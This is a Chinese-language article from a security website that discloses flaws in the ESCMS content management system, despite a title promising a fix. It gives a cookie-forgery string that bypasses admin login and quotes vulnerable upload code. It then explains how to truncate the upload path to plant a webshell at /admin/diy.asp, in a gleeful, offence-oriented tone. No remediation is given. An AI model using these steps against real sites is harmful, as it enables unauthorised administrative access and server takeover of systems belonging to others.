频道栏目
首页 > 资讯 > 网站安全 > 正文

网站管理系统0day及修复

11-07-14        来源:[db:作者]  
收藏   我要投稿

后台登陆验证是通过admin/check.asp实现的,看代码


<%
if Request.cookies(CookiesKey)("ES_admin")="" then
注意这里哦,他是通过COOKIE验证ES_admin是否为空,我们可以伪造一个值,叫他不为空
CookiesKey在inc/ESCMS_Config.asp文件中,默认为ESCMS$_SP2
Call Err_Show()
Response.End()
End if
......
%>
首先我们打开/admin/es_index.html


 

然后在COOKIE结尾加上
; ESCMS$_SP2=ES_admin=st0p;

修改,然后刷新


 

进后台了嘎..

然后呢…提权,嘿嘿,admin/up2.asp,上传目录参数filepath过滤不严,导致可截断目录,生成SHELL,看代码

......
formPath=upload.form("filepath") 此处没有过滤
if formPath="" then
formPath="../Upfile"
end if
Dim formPath1
formPath1="Upfile/"
在目录后加(/)
if right(formPath,1)<>"/" then
formPath=formPath&"/"
end if
for each formName in upload.file 列出所有上传了的文件
set file=upload.file(formName) 生成一个文件对象
if file.filesize<100 then
response.write "请先选择你要上传的图片! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if
 
fileExt=lcase(file.FileExt)
if CheckFileExt(fileEXT)=false then
response.write "文件格式不正确! [ <a href=# onclick=history.go(-1)>请重新上传</a> ]"
response.end
end if
 
randomize
ranNum=int(90000*rnd)+10000
Dim tempname,temppath
tempname=year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
temppath=formPath1&tempname
filename=formPath&tempname
if file.FileSize>0 then 如果 FileSize > 0 说明有文件数据
result=file.SaveToFile(Server.mappath(filename)) 保存文件,这里地址就会变成我们截断的SHELL名称
......


利用方法,可以抓包,然后改一下,NC上传,还可以直接用DOMAIN等工具提交.


 

嘿嘿,成功了,shell地址为/admin/diy.asp
存在这个上传问题的还有admin/downup.asp,不过好像作者的疏忽,没有引用inc/ESCMS_Config.asp,导致打开此页面失败..

在版本ESCMS V1.0 正式版中,同样存在上传问题admin/up2.asp和admin/downup.asp都可利用,只不过cookies欺骗不能用了,因为此版本用session来验证登陆…

日啊,又一个YD的洞出来了,不过好似网上不多,而且多是ESCMS V1.0 正式版…..最新版本是我加了作者的群中下的,官方站上的下载地址失效了…

相关TAG标签
上一篇:安装VM7的虚拟机Tools
下一篇:实现samba读写分离
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站